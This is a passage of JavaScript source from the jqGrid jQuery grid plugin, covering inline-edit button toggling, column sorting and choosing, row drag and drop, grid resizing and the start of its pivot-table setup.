|| '', title : o.canceltitle || 'Cancel row editing', buttonicon : o.cancelicon, id : $t.p.id+"_ilcancel", internal : true, onClickButton : function () { var sr = $t.p.savedRow[0].id, cancelPrm = o.editParams; if(sr) { if($("#"+$.jgrid.jqID(sr), "#"+gID ).hasClass("jqgrid-new-row")) { cancelPrm = o.addParams.addRowParams; } $($t).jqGrid('restoreRow', sr, cancelPrm); $($t).jqGrid('showAddEditButtons'); } else { $.jgrid.viewModal("#alertmod",{gbox:"#gbox_"+gID,jqm:true});$("#jqg_alrt").focus(); } } }); $("#"+gID+"_ilcancel").addClass( disabled ); } if(o.restoreAfterSelect === true || o.saveAfterSelect === true) { $($t).on("jqGridBeforeSelectRow.inlineNav", function( event, id ) { if($t.p.savedRow.length > 0 && $t.p.inlineNav===true && ( id !== $t.p.selrow && $t.p.selrow !==null) ) { var success = true; if($t.p.selrow === o.addParams.rowID ) { $($t).jqGrid('delRowData', $t.p.selrow); } else { if(o.restoreAfterSelect === true) { $($t).jqGrid('restoreRow', $t.p.selrow, o.editParams); } else { success = $($t).jqGrid('saveRow', $t.p.selrow, o.editParams); } } if(success) { $($t).jqGrid('showAddEditButtons'); } } }); } }); }, showAddEditButtons : function() { return this.each(function(){ if (!this.grid ) { return; } var gID = $.jgrid.jqID(this.p.id), disabled = $.jgrid.trim( $(this).jqGrid('getStyleUI', this.p.styleUI+'.common', 'disabled', true) ); $("#"+gID+"_ilsave").addClass( disabled ); $("#"+gID+"_ilcancel").addClass( disabled ); $("#"+gID+"_iladd").removeClass( disabled ); $("#"+gID+"_iledit").removeClass( disabled ); }); }, showSaveCancelButtons : function() { return this.each(function(){ if (!this.grid ) { return; } var gID = $.jgrid.jqID(this.p.id), disabled = $.jgrid.trim( $(this).jqGrid('getStyleUI', this.p.styleUI+'.common', 'disabled', true) ); $("#"+gID+"_ilsave").removeClass( disabled ); $("#"+gID+"_ilcancel").removeClass( disabled ); $("#"+gID+"_iladd").addClass( disabled ); $("#"+gID+"_iledit").addClass( disabled ); }); } //end inline edit }); //module begin if ($.jgrid.msie() && $.jgrid.msiever()===8) { $.expr[":"].hidden = function(elem) { return elem.offsetWidth === 0 || elem.offsetHeight === 0 || elem.style.display === "none"; }; } // requiere load multiselect before grid $.jgrid._multiselect = false; if($.ui) { if ($.ui.multiselect ) { if($.ui.multiselect.prototype._setSelected) { var setSelected = $.ui.multiselect.prototype._setSelected; $.ui.multiselect.prototype._setSelected = function(item,selected) { var ret = setSelected.call(this,item,selected); if (selected && this.selectedList) { var elt = this.element; this.selectedList.find('li').each(function() { if ($(this).data('optionLink')) { $(this).data('optionLink').remove().appendTo(elt); } }); } return ret; }; } if($.ui.multiselect.prototype.destroy) { $.ui.multiselect.prototype.destroy = function() { this.element.show(); this.container.remove(); if ($.Widget === undefined) { $.widget.prototype.destroy.apply(this, arguments); } else { $.Widget.prototype.destroy.apply(this, arguments); } }; } $.jgrid._multiselect = true; } } $.jgrid.extend({ sortableColumns : function (tblrow) { return this.each(function (){ var ts = this, tid= $.jgrid.jqID( ts.p.id ), frozen = false; function start() { ts.p.disableClick = true; if(ts.p.frozenColumns) { $(ts).jqGrid("destroyFrozenColumns"); frozen = true; } } function stop() { setTimeout(function () { ts.p.disableClick = false; if(frozen) { $(ts).jqGrid("setFrozenColumns"); frozen = false; } }, 50); } var sortable_opts = { "tolerance" : "pointer", "axis" : "x", "scrollSensitivity": "1", "items": '>th:not(:has(#jqgh_'+tid+'_cb'+',#jqgh_'+tid+'_rn'+',#jqgh_'+tid+'_subgrid),:hidden)', "cancel": ".sortable-disabled", "placeholder": { element: function(item) { var el = $(document.createElement(item[0].nodeName)) .addClass(item[0].className+" ui-sortable-placeholder ui-state-highlight") .removeClass("ui-sortable-helper")[0]; return el; }, update: function(self, p) { p.height(self.currentItem.innerHeight() - parseInt(self.currentItem.css('paddingTop')||0, 10) - parseInt(self.currentItem.css('paddingBottom')||0, 10)); p.width(self.currentItem.innerWidth() - parseInt(self.currentItem.css('paddingLeft')||0, 10) - parseInt(self.currentItem.css('paddingRight')||0, 10)); } }, "update": function(event, ui) { var p = $(ui.item).parent(), th = $(">th", p), colModel = ts.p.colModel, cmMap = {}, tid= ts.p.id+"_"; $.each(colModel, function(i) { cmMap[this.name]=i; }); var permutation = []; th.each(function() { var id = $(">div", this).get(0).id.replace(/^jqgh_/, "").replace(tid,""); if (cmMap.hasOwnProperty(id)) { permutation.push(cmMap[id]); } }); $(ts).jqGrid("remapColumns",permutation, true, true); if ($.jgrid.isFunction(ts.p.sortable.update)) { ts.p.sortable.update(permutation); } } }; if (ts.p.sortable.options) { $.extend(sortable_opts, ts.p.sortable.options); } else if ($.jgrid.isFunction(ts.p.sortable)) { ts.p.sortable = { "update" : ts.p.sortable }; } if (sortable_opts.start) { var s = sortable_opts.start; sortable_opts.start = function(e,ui) { start(); s.call(this,e,ui); }; } else { sortable_opts.start = start; } if (sortable_opts.stop) { var st = sortable_opts.stop; sortable_opts.stop = function(e,ui) { stop(); st.call(this,e,ui); }; } else { sortable_opts.stop = stop; } if (ts.p.sortable.exclude) { sortable_opts.items += ":not("+ts.p.sortable.exclude+")"; } var $e = tblrow.sortable(sortable_opts), dataObj = $e.data("sortable") || $e.data("uiSortable"); if (dataObj != null) { dataObj.data("sortable").floating = true; } }); }, columnChooser : function(opts) { var self = this, selector, select, colMap = {}, fixedCols = [], dopts, mopts, $dialogContent, multiselectData, listHeight, colModel = self.jqGrid("getGridParam", "colModel"), colNames = $.extend( [], self.jqGrid("getGridParam", "colNames")), getMultiselectWidgetData = function ($elem) { return ($.ui.multiselect.prototype && $elem.data($.ui.multiselect.prototype.widgetFullName || $.ui.multiselect.prototype.widgetName)) || $elem.data("ui-multiselect") || $elem.data("multiselect"); }, regional = $.jgrid.getRegional(this[0], 'col'); if ($("#colchooser_" + $.jgrid.jqID(self[0].p.id)).length) { return; } selector = $('<div id="colchooser_'+self[0].p.id+'" style="position:relative;overflow:hidden"><div><select multiple="multiple"></select></div></div>'); select = $('select', selector); function insert(perm,i,v) { var a, b; if(i>=0){ a = perm.slice(); b = a.splice(i,Math.max(perm.length-i,i)); if(i>perm.length) { i = perm.length; } a[i] = v; return a.concat(b); } return perm; } function call(fn, obj) { if (!fn) { return; } if (typeof fn === 'string') { if ($.fn[fn]) { $.fn[fn].apply(obj, $.makeArray(arguments).slice(2)); } } else if ($.jgrid.isFunction(fn)) { fn.apply(obj, $.makeArray(arguments).slice(2)); } } function resize_select() { var widgetData = getMultiselectWidgetData(select), $thisDialogContent = widgetData.container.closest(".ui-dialog-content"); if ($thisDialogContent.length > 0 && typeof $thisDialogContent[0].style === "object") { $thisDialogContent[0].style.width = ""; } else { $thisDialogContent.css("width", ""); // or just remove width style } widgetData.selectedList.height(Math.max(widgetData.selectedContainer.height() - widgetData.selectedActions.outerHeight() -1, 1)); widgetData.availableList.height(Math.max(widgetData.availableContainer.height() - widgetData.availableActions.outerHeight() -1, 1)); } opts = $.extend({ width : 400, height : 240, classname : null, groupHeaders : false, done : function(perm) { if (perm) { self.jqGrid("remapColumns", perm, true); } }, /* msel is either the name of a ui widget class that extends a multiselect, or a function that supports creating a multiselect object (with no argument, or when passed an object), and destroying it (when passed the string "destroy"). */ msel : "multiselect", /* "msel_opts" : {}, */ /* dlog is either the name of a ui widget class that behaves in a dialog-like way, or a function, that supports creating a dialog (when passed dlog_opts) or destroying a dialog (when passed the string "destroy") */ dlog : "dialog", dialog_opts : { minWidth: 470, dialogClass: "ui-jqdialog" }, /* dlog_opts is either an option object to be passed to "dlog", or (more likely) a function that creates the options object. The default produces a suitable options object for ui.dialog */ dlog_opts : function(options) { var buttons = {}; buttons[options.bSubmit] = function() { options.apply_perm(); options.cleanup(false); }; buttons[options.bCancel] = function() { options.cleanup(true); }; return $.extend(true, { buttons: buttons, close: function() { options.cleanup(true); }, modal: options.modal || false, resizable: options.resizable || true, width: options.width + 70, resize: resize_select }, options.dialog_opts || {}); }, /* Function to get the permutation array, and pass it to the "done" function */ apply_perm : function() { var perm = []; $('option',select).each(function() { if ($(this).is(":selected")) { self.jqGrid("showCol", colModel[this.value].name); } else { self.jqGrid("hideCol", colModel[this.value].name); } }); //fixedCols.slice(0); $('option[selected]',select).each(function() { if(this.selected) { perm.push(parseInt(this.value,10)); } }); $.each(perm, function() { delete colMap[colModel[parseInt(this,10)].name]; }); $.each(colMap, function() { var ti = parseInt(this,10); perm = insert(perm,ti,ti); }); if (opts.done) { opts.done.call(self, perm); } self.jqGrid("setGridWidth", self[0].p.width, self[0].p.shrinkToFit); }, /* Function to cleanup the dialog, and select. Also calls the done function with no permutation (to indicate that the columnChooser was aborted */ cleanup : function(calldone) { call(opts.dlog, selector, 'destroy'); call(opts.msel, select, 'destroy'); selector.remove(); if (calldone && opts.done) { opts.done.call(self); } }, msel_opts : { dividerLocation : 0.5 } }, regional, opts || {} ); if($.ui) { if ($.ui.multiselect && $.ui.multiselect.defaults) { if (!$.jgrid._multiselect) { // should be in language file alert("Multiselect plugin loaded after jqGrid. Please load the plugin before the jqGrid!"); return; } // ??? the next line uses $.ui.multiselect.defaults which will be typically undefined opts.msel_opts = $.extend($.ui.multiselect.defaults, opts.msel_opts); } } if( self.jqGrid('isGroupHeaderOn') && opts.groupHeaders) { var gh_len = self[0].p.groupHeader.length, // use the last set one groupH = self[0].p.groupHeader[gh_len-1]; for(var ij=0;ij<colNames.length; ij++){ var iCol = $.jgrid.inColumnHeader( colModel[ij].name, groupH.groupHeaders); if(iCol>=0) { colNames[ij] = groupH.groupHeaders[iCol].titleText + "::" + colNames[ij]; for(var jj= 1; jj<= groupH.groupHeaders[iCol].numberOfColumns-1; jj++) { colNames[ij+jj] = groupH.groupHeaders[iCol].titleText + "::" + colNames[ij+jj]; } ij = ij+groupH.groupHeaders[iCol].numberOfColumns-1; } } } if (opts.caption) { selector.attr("title", opts.caption); } if (opts.classname) { selector.addClass(opts.classname); select.addClass(opts.classname); } if (opts.width) { $(">div",selector).css({width: opts.width,margin:"0 auto"}); select.css("width", opts.width); } if (opts.height) { $(">div",selector).css("height", opts.height); select.css("height", opts.height - 10); } select.empty(); $.each(colModel, function(i) { colMap[this.name] = i; if (this.hidedlg) { if (!this.hidden) { fixedCols.push(i); } return; } select.append("<option value='"+i+"' "+ (this.hidden?"":"selected='selected'")+">"+$.jgrid.stripHtml(colNames[i])+"</option>"); }); dopts = $.jgrid.isFunction(opts.dlog_opts) ? opts.dlog_opts.call(self, opts) : opts.dlog_opts; call(opts.dlog, selector, dopts); mopts = $.jgrid.isFunction(opts.msel_opts) ? opts.msel_opts.call(self, opts) : opts.msel_opts; call(opts.msel, select, mopts); // fix height of elements of the multiselect widget $dialogContent = $("#colchooser_" + $.jgrid.jqID(self[0].p.id)); // fix fontsize var fs = $('.ui-jqgrid').css('font-size') || '11px'; $dialogContent.parent().css("font-size",fs); $dialogContent.css({ margin: "auto" }); $dialogContent.find(">div").css({ width: "100%", height: "100%", margin: "auto" }); multiselectData = getMultiselectWidgetData(select); multiselectData.container.css({ width: "100%", height: "100%", margin: "auto" }); multiselectData.selectedContainer.css({ width: multiselectData.options.dividerLocation * 100 + "%", height: "100%", margin: "auto", boxSizing: "border-box" }); multiselectData.availableContainer.css({ width: (100 - multiselectData.options.dividerLocation * 100) + "%", height: "100%", margin: "auto", boxSizing: "border-box" }); // set height for both selectedList and availableList multiselectData.selectedList.css("height", "auto"); multiselectData.availableList.css("height", "auto"); listHeight = Math.max(multiselectData.selectedList.height(), multiselectData.availableList.height()); listHeight = Math.min(listHeight, $(window).height()); multiselectData.selectedList.css("height", listHeight); multiselectData.availableList.css("height", listHeight); resize_select(); }, sortableRows : function (opts) { // Can accept all sortable options and events return this.each(function(){ var $t = this; if(!$t.grid) { return; } // Currently we disable a treeGrid sortable if($t.p.treeGrid) { return; } if($.fn.sortable) { opts = $.extend({ "cursor":"move", "axis" : "y", "items": " > .jqgrow" }, opts || {}); if(opts.start && $.jgrid.isFunction(opts.start)) { opts._start_ = opts.start; delete opts.start; } else {opts._start_=false;} if(opts.update && $.jgrid.isFunction(opts.update)) { opts._update_ = opts.update; delete opts.update; } else {opts._update_ = false;} opts.start = function(ev,ui) { $(ui.item).css("border-width","0"); $("td",ui.item).each(function(i){ this.style.width = $t.grid.cols[i].style.width; }); if($t.p.subGrid) { var subgid = $(ui.item).attr("id"); try { $($t).jqGrid('collapseSubGridRow',subgid); } catch (e) {} } if(opts._start_) { opts._start_.apply(this,[ev,ui]); } }; opts.update = function (ev,ui) { $(ui.item).css("border-width",""); if($t.p.rownumbers === true) { $("td.jqgrid-rownum",$t.rows).each(function( i ){ $(this).html( i+1+(parseInt($t.p.page,10)-1)*parseInt($t.p.rowNum,10) ); }); } if(opts._update_) { opts._update_.apply(this,[ev,ui]); } }; $($t).find("tbody").first().sortable(opts); $("tbody",$t).first().find(" > .jqgrow").disableSelection(); } }); }, gridDnD : function(opts) { return this.each(function(){ var $t = this, i, cn; if(!$t.grid) { return; } // Currently we disable a treeGrid drag and drop if($t.p.treeGrid) { return; } if(!$.fn.draggable || !$.fn.droppable) { return; } function updateDnD () { var datadnd = $.data($t,"dnd"); $("tr.jqgrow:not(.ui-draggable)",$t).draggable($.jgrid.isFunction(datadnd.drag) ? datadnd.drag.call($($t),datadnd) : datadnd.drag); } var appender = "<table id='jqgrid_dnd' class='ui-jqgrid-dnd'></table>"; if($("#jqgrid_dnd")[0] === undefined) { $('body').append(appender); } if(typeof opts === 'string' && opts === 'updateDnD' && $t.p.jqgdnd===true) { updateDnD(); return; } var tid; opts = $.extend({ "drag" : function (opts) { return $.extend({ start : function (ev, ui) { var i, subgid; // if we are in subgrid mode try to collapse the node if($t.p.subGrid) { subgid = $(ui.helper).attr("id"); try { $($t).jqGrid('collapseSubGridRow',subgid); } catch (e) {} } // hack // drag and drop does not insert tr in table, when the table has no rows // we try to insert new empty row on the target(s) for (i=0;i<$.data($t,"dnd").connectWith.length;i++){ if($($.data($t,"dnd").connectWith[i]).jqGrid('getGridParam','reccount') === 0 ){ $($.data($t,"dnd").connectWith[i]).jqGrid('addRowData','jqg_empty_row',{}); } } ui.helper.addClass("ui-state-highlight"); $("td",ui.helper).each(function(i) { this.style.width = $t.grid.headers[i].width+"px"; }); if(opts.onstart && $.jgrid.isFunction(opts.onstart) ) { opts.onstart.call($($t),ev,ui); } }, stop :function(ev,ui) { var i, ids; if(ui.helper.dropped && !opts.dragcopy) { ids = $(ui.helper).attr("id"); if(ids === undefined) { ids = $(this).attr("id"); } $($t).jqGrid('delRowData',ids ); } // if we have a empty row inserted from start event try to delete it for (i=0;i<$.data($t,"dnd").connectWith.length;i++){ $($.data($t,"dnd").connectWith[i]).jqGrid('delRowData','jqg_empty_row'); } if(opts.onstop && $.jgrid.isFunction(opts.onstop) ) { opts.onstop.call($($t),ev,ui); } } },opts.drag_opts || {}); }, "drop" : function (opts) { return $.extend({ accept: function(d) { if (!$(d).hasClass('jqgrow')) { return d;} tid = $(d).closest("table.ui-jqgrid-btable"); var target = $(this).find('table.ui-jqgrid-btable').first()[0]; if(tid.length > 0 && $.data(tid[0],"dnd") !== undefined) { var cn = $.data(tid[0],"dnd").connectWith; return $.inArray('#'+$.jgrid.jqID(target.id),cn) !== -1 ? true : false; } return false; }, drop: function(ev, ui) { if (!$(ui.draggable).hasClass('jqgrow')) { return; } var accept = $(ui.draggable).attr("id"), getdata = ui.draggable.parent().parent().jqGrid('getRowData',accept), keysd = [], target = $(this).find('table.ui-jqgrid-btable').first()[0]; if($.isPlainObject( getdata)) { keysd = Object.keys(getdata); } if(!opts.dropbyname) { var j, tmpdata = {}, nm, ki=0; var dropmodel = $("#"+$.jgrid.jqID(target.id)).jqGrid('getGridParam','colModel'); try { for(j=0;j<dropmodel.length;j++) { nm = dropmodel[j].name; if( !(nm === 'cb' || nm === 'rn' || nm === 'subgrid' || nm === 'sc' )) { if (keysd[ki] !== undefined) { tmpdata[nm] = getdata[keysd[ki]]; } ki++; } } getdata = tmpdata; } catch (e) {} } ui.helper.dropped = true; if($.data(tid[0],"dnd").beforedrop && $.jgrid.isFunction($.data(tid[0],"dnd").beforedrop) ) { //parameters to this callback - event, element, data to be inserted, sender, reciever // should return object which will be inserted into the reciever var datatoinsert = $.data(tid[0],"dnd").beforedrop.call(target,ev,ui,getdata,$(tid[0]),$(target)); if (datatoinsert !== undefined && datatoinsert !== null && typeof datatoinsert === "object") { getdata = datatoinsert; } } if(ui.helper.dropped) { var grid; if(opts.autoid) { if($.jgrid.isFunction(opts.autoid)) { grid = opts.autoid.call(target,getdata); } else { grid = Math.ceil(Math.random()*1000); grid = opts.autoidprefix+grid; } } // NULL is interpreted as undefined while null as object $("#"+$.jgrid.jqID(target.id)).jqGrid('addRowData',grid,getdata,opts.droppos); } if(opts.ondrop && $.jgrid.isFunction(opts.ondrop) ) { opts.ondrop.call(target,ev,ui, getdata); } }}, opts.drop_opts || {}); }, "onstart" : null, "onstop" : null, "beforedrop": null, "ondrop" : null, "drop_opts" : { "activeClass": "ui-state-active", "hoverClass": "ui-state-hover", "tolerance": "intersect" }, "drag_opts" : { "revert": "invalid", "helper": "clone", "cursor": "move", "appendTo" : "#jqgrid_dnd", "zIndex": 5000 }, "dragcopy": false, "dropbyname" : false, "droppos" : "first", "autoid" : true, "autoidprefix" : "dnd_" }, opts || {}); if(!opts.connectWith) { return; } opts.connectWith = opts.connectWith.split(","); opts.connectWith = $.map(opts.connectWith,function(n){return $.jgrid.trim(n);}); $.data($t,"dnd",opts); if($t.p.reccount !== 0 && !$t.p.jqgdnd) { updateDnD(); } $t.p.jqgdnd = true; for (i=0;i<opts.connectWith.length;i++){ cn =opts.connectWith[i]; $(cn).closest('.ui-jqgrid-bdiv').droppable($.jgrid.isFunction(opts.drop) ? opts.drop.call($($t),opts) : opts.drop); } }); }, gridResize : function(opts) { return this.each(function(){ var $t = this, gID = $.jgrid.jqID($t.p.id), req; if(!$t.grid || !$.fn.resizable) { return; } opts = $.extend( {}, { resizeclass : "ui-resizable-icon" }, opts || {} ); if(opts.alsoResize ) { opts._alsoResize_ = opts.alsoResize; delete opts.alsoResize; } else { opts._alsoResize_ = false; } if(opts.stop && $.jgrid.isFunction(opts.stop)) { opts._stop_ = opts.stop; delete opts.stop; } else { opts._stop_ = false; } var class_to_add = opts.resizeclass; if($t.p.styleUI !== "jQueryUI") { if(opts.handles) { if(opts.handles.se) { class_to_add += " " +opts.handles.se.replace(".",""); } else { opts.handles.se = "."+class_to_add; } } else { opts.handles = {}; var test = class_to_add.split(' '); opts.handles.se = "."+test[0]; } class_to_add += " ui-resizable-se ui-resizable-handle"; $("#gbox_"+gID).append('<span class="'+class_to_add+'"></span>'); } opts.stop = function (ev, ui) { $($t).jqGrid('setGridParam',{height:$("#gview_"+gID+" .ui-jqgrid-bdiv").height()}); $($t).jqGrid('setGridWidth',ui.size.width,opts.shrinkToFit); if(opts._stop_) { opts._stop_.call($t,ev,ui); } if($t.p.caption) { $("#gbox_"+ gID).css({ 'height': 'auto' }); } if($t.p.frozenColumns) { if (req ) clearTimeout(req); req = setTimeout(function(){ if (req ) clearTimeout(req); $("#" + gID).jqGrid("destroyFrozenColumns"); $("#" + gID).jqGrid("setFrozenColumns"); }); } }; if(opts._alsoResize_) { opts.alsoResize = "#gview_"+gID+" .ui-jqgrid-bdiv,"+opts._alsoResize_ ; } else { opts.alsoResize = $(".ui-jqgrid-bdiv","#gview_"+gID); } delete opts._alsoResize_; $("#gbox_"+gID).resizable(opts); }); } }); //module begin function _pivotfilter (fn, context) { /*jshint validthis: true */ var i, value, result = [], length; if (!this || typeof fn !== 'function' || (fn instanceof RegExp)) { throw new TypeError(); } length = this.length; for (i = 0; i < length; i++) { if (this.hasOwnProperty(i)) { value = this[i]; if (fn.call(context, value, i, this)) { result.push(value); // We need break in order to cancel loop // in case the row is found break; } } } return result; } $.assocArraySize = function(obj) { // http://stackoverflow.com/a/6700/11236 var size = 0, key; for (key in obj) { if (obj.hasOwnProperty(key)) { size++; } } return size; }; $.jgrid.extend({ pivotSetup : function( data, options ){ // data should come in json format // The function return the new colModel and the transformed data // again with group setup options which then will be passed to the grid var columns =[], pivotrows =[], summaries = [], member=[], labels=[], groupOptions = { grouping : true, groupingView : { groupField : [], groupSummary: [], groupSummaryPos:[] } }, headers = [], o = $.extend ( { rowTotals : false, rowTotalsText : 'Total', // summary columns colTotals : false, groupSummary : true, groupSummaryPos : 'header', frozenStaticCols : false }, options || {}); this.each(function(){ var $t = this, row, rowindex, i, rowlen = data.length, xlen, ylen, aggrlen, tmp, newObj, r=0; // utility funcs /* * Filter the data to a given criteria. Return the firt occurance */ function find(ar, fun, extra) { var res; res = _pivotfilter.call(ar, fun, extra); return res.length > 0 ? res[0] : null; } /* * Check if the grouped row column exist (See find) * If the row is not find in pivot rows retun null, * otherviese the column */ function findGroup(item, index) { /*jshint validthis: true */ var j = 0, ret = true, i; for(i in item) { if( item.hasOwnProperty(i) ) { if(item[i] != this[j]) { ret = false; break; } j++; if(j>=this.length) { break; } } } if(ret) { rowindex = index; } return ret; } /* * Perform calculations of the pivot values. */ function calculation(oper, v, field, rc, _cnt) { var ret; if( $.jgrid.isFunction(oper)) { ret = oper.call($t, v, field, rc); } else { switch (oper) { case "sum" : ret = $.jgrid.floatNum(v) + $.jgrid.floatNum(rc[field]); break; case "count" : if(v==="" || v == null) { v=0; } if(rc.hasOwnProperty(field)) { ret = v+1; } else { ret = 0; } break; case "min" : if(v==="" || v == null) { ret = $.jgrid.floatNum(rc[field]); } else { ret =Math.min($.jgrid.floatNum(v),$.jgrid.floatNum(rc[field])); } break; case "max" : if(v==="" || v == null) { ret = $.jgrid.floatNum(rc[field]); } else { ret = Math.max($.jgrid.floatNum(v),$.jgrid.floatNum(rc[field])); } break; case "avg" : //avg grouping ret = ($.jgrid.floatNum(v) * (_cnt -1) + $.jgrid.floatNum(rc[field]) ) /_cnt; break; } } return ret; } /* * The function agragates the values of the pivot grid. * Return the current row with pivot summary values */ function agregateFunc ( row, aggr, value, curr) { // default is sum var arrln = aggr.length, i, label, j, jv, mainval="",swapvals=[], swapstr, _cntavg = 1, lbl; if( Array.isArray(value) ) { jv = value.length; swapvals = value; } else { jv = 1; swapvals[0]=value; } member = []; labels = []; member.root = 0; for(j=0;j<jv;j++) { var tmpmember = [], vl; for(i=0; i < arrln; i++) { swapstr = typeof aggr[i].aggregator === 'string' ? aggr[i].aggregator : 'cust'; if(value == null) { label = $.jgrid.trim(aggr[i].member)+"_" + swapstr; vl = label; swapvals[0]= aggr[i].label || (swapstr + " " +$.jgrid.trim(aggr[i].member)); } else { vl = value[j].replace(/\s+/g, ''); try { label = (arrln === 1 ? mainval + vl : mainval + vl + "_" + swapstr + "_" + String(i)); } catch(e) {} swapvals[j] = value[j]; } //if(j<=1 && vl !== '_r_Totals' && mainval === "") { // this does not fix full the problem //mainval = vl; //} label = !isNaN(parseInt(label,10)) ? label + " " : label; if(aggr[i].aggregator === 'avg') { lbl = rowindex === -1 ? pivotrows.length+"_"+label : rowindex+"_"+label; if(!_avg[lbl]) { _avg[lbl] = 1; } else { _avg[lbl]++; } _cntavg = _avg[lbl]; } curr[label] = tmpmember[label] = calculation( aggr[i].aggregator, curr[label], aggr[i].member, row, _cntavg); } mainval += (value && value[j] != null) ? value[j].replace(/\s+/g, '') : ''; //vl = !isNaN(parseInt(vl,10)) ? vl + " " : vl; member[label] = tmpmember; labels[label] = swapvals[j]; } return curr; } // Making the row totals without to add in yDimension if(o.rowTotals && o.yDimension.length > 0) { var dn = o.yDimension[0].dataName; o.yDimension.splice(0,0,{dataName:dn}); o.yDimension[0].converter = function(){ return '_r_Totals'; }; } // build initial columns (colModel) from xDimension xlen = Array.isArray(o.xDimension) ? o.xDimension.length : 0; ylen = o.yDimension.length; aggrlen = Array.isArray(o.aggregates) ? o.aggregates.length : 0; if(xlen === 0 || aggrlen === 0) { throw("xDimension or aggregates optiona are not set!"); } var colc; for(i = 0; i< xlen; i++) { colc = {name:o.xDimension[i].dataName, frozen: o.frozenStaticCols}; if(o.xDimension[i].isGroupField == null) { o.xDimension[i].isGroupField = true; } colc = $.extend(true, colc, o.xDimension[i]); columns.push( colc ); } var groupfields = xlen - 1, tree={}, _avg=[]; //tree = { text: 'root', leaf: false, children: [] }; //loop over alll the source data while( r < rowlen ) { row = data[r]; var xValue = []; var yValue = []; tmp = {}; i = 0; // build the data from xDimension do { xValue[i] = $.jgrid.trim(row[o.xDimension[i].dataName]); tmp[o.xDimension[i].dataName] = xValue[i]; i++; } while( i < xlen ); var k = 0; rowindex = -1; // check to see if the row is in our new pivotrow set newObj = find(pivotrows, findGroup, xValue); if(!newObj) { // if the row is not in our set k = 0; // if yDimension is set if(ylen>=1) { // build the cols set in yDimension for(k=0;k<ylen;k++) { yValue[k] = $.jgrid.trim(row[o.yDimension[k].dataName]); if(yValue[k] === undefined) { yValue[k] = null; continue; } // Check to see if we have user defined conditions if(o.yDimension[k].converter && $.jgrid.isFunction(o.yDimension[k].converter)) { yValue[k] = o.yDimension[k].converter.call(this, yValue[k], xValue, yValue); } } // make the colums based on aggregates definition // and return the members for late calculation tmp = agregateFunc( row, o.aggregates, yValue, tmp ); } else if( ylen === 0 ) { // if not set use direct the aggregates tmp = agregateFunc( row, o.aggregates, null, tmp ); } // add the result in pivot rows pivotrows.push( tmp ); } else { // the pivot exists if( rowindex >= 0) { k = 0; // make the recalculations if(ylen>=1) { for(k=0;k<ylen;k++) { yValue[k] = $.jgrid.trim(row[o.yDimension[k].dataName]); if(yValue[k] === undefined) { yValue[k] = null; continue; } if(o.yDimension[k].converter && $.jgrid.isFunction(o.yDimension[k].converter)) { yValue[k] = o.yDimension[k].converter.call(this, yValue[k], xValue, yValue); } } newObj = agregateFunc( row, o.aggregates, yValue, newObj ); } else if( ylen === 0 ) { newObj = agregateFunc( row, o.aggregates, null, newObj ); } // update the row pivotrows[rowindex] = newObj; } } var kj=0, current = null,existing = null, kk; // Build a JSON tree from the member (see aggregateFunc) // to make later the columns // for (kk in member) { if(member.hasOwnProperty( kk )) { if(kj === 0) { if (!tree.children||tree.children === undefined){ tree = { text: kk, level : 0, children: [], label: kk }; } current = tree.children; } else { existing = null; for (i=0; i < current.length; i++) { if (current[i].text === kk) { //current[i].fields=member[kk]; existing = current[i]; break; } } if (existing) { current = existing.children; } else { current.push({ children: [], text: kk, level: kj, fields: member[kk], label: labels[kk] }); current = current[current.length - 1].children; } } kj++; } } r++; } _avg = null; // free mem var lastval=[], initColLen = columns.length, swaplen = initColLen; if(ylen>0) { headers[ylen-1] = { useColSpanStyle: false, groupHeaders: []}; } /* * Recursive function which uses the tree to build the * columns from the pivot values and set the group Headers */ function list(items) { var l, j, key, k, col; for (key in items) { // iterate if (items.hasOwnProperty(key)) { // write amount of spaces according to level // and write name and newline if(typeof items[key] !== "object") { // If not a object build the header of the appropriate level if( key === 'level') { if(lastval[items.level] === undefined) { lastval[items.level] =''; if(items.level>0 && items.text.indexOf('_r_Totals') === -1) { headers[items.level-1] = { useColSpanStyle: false, groupHeaders: [] }; } } if(lastval[items.level] !== items.text && items.children.length && items.text.indexOf('_r_Totals') === -1 ) { if(items.level>0) { headers[items.level-1].groupHeaders.push({ titleText: items.label, numberOfColumns : 0 }); var collen = headers[items.level-1].groupHeaders.length-1, colpos = collen === 0 ? swaplen : initColLen;//+aggrlen; if(items.level-1=== (o.rowTotals ? 1 : 0)) { if(collen>0) { var l1=0; for(var kk=0; kk<collen; kk++) { l1 += headers[items.level-1].groupHeaders[kk].numberOfColumns; } if(l1) { colpos = l1 + xlen; } } } if(columns[colpos]) { headers[items.level-1].groupHeaders[collen].startColumnName = columns[colpos].name; headers[items.level-1].groupHeaders[collen].numberOfColumns = columns.length - colpos; } initColLen = columns.length; } } lastval[items.level] = items.text; } // This is in case when the member contain more than one summary item if(items.level === ylen && key==='level' && ylen >0) { if( aggrlen > 1){ var ll=1; for( l in items.fields) { if(items.fields.hasOwnProperty(l)) { if(ll===1) { headers[ylen-1].groupHeaders.push({startColumnName: l, numberOfColumns: 1, titleText: items.label || items.text}); } ll++; } } headers[ylen-1].groupHeaders[headers[ylen-1].groupHeaders.length-1].numberOfColumns = ll-1; } else { headers.splice(ylen-1,1); } } } // if object, call recursively if (items[key] != null && typeof items[key] === "object") { list(items[key]); } // Finally build the columns if( key === 'level') { if( items.level > 0 && (items.level === (ylen===0?items.level:ylen) || lastval[items.level].indexOf('_r_Totals') !== -1 ) ){ j=0; for(l in items.fields) { if(items.fields.hasOwnProperty( l ) ) { col = {}; for(k in o.aggregates[j]) { if(o.aggregates[j].hasOwnProperty(k)) { switch( k ) { case 'member': case 'label': case 'aggregator': break; default: col[k] = o.aggregates[j][k]; } } } if(aggrlen > 1) { col.name = l; col.label = o.aggregates[j].label || items.label; } else { col.name = items.text; col.label = items.text==='_r_Totals' ? o.rowTotalsText : items.label; } columns.push (col); j++; } } } } } } } list( tree ); var nm; // loop again trougth the pivot rows in order to build grand total if(o.colTotals) { var plen = pivotrows.length; while(plen--) { for(i=xlen;i<columns.length;i++) { nm = columns[i].name; if(!summaries[nm]) { summaries[nm] = $.jgrid.floatNum(pivotrows[plen][nm]); } else { summaries[nm] += $.jgrid.floatNum(pivotrows[plen][nm]); } } } } // based on xDimension levels build grouping if( groupfields > 0) { for(i=0;i<groupfields;i++) { if(columns[i].isGroupField) { groupOptions.groupingView.groupField.push(columns[i].name); groupOptions.groupingView.groupSummary.push(o.groupSummary); groupOptions.groupingView.groupSummaryPos.push(o.groupSummaryPos); } } } else { // no grouping is needed groupOptions.grouping = false; } groupOptions.sortname = columns[groupfields].name; groupOptions.groupingView.hideFirstGroupCol = true; 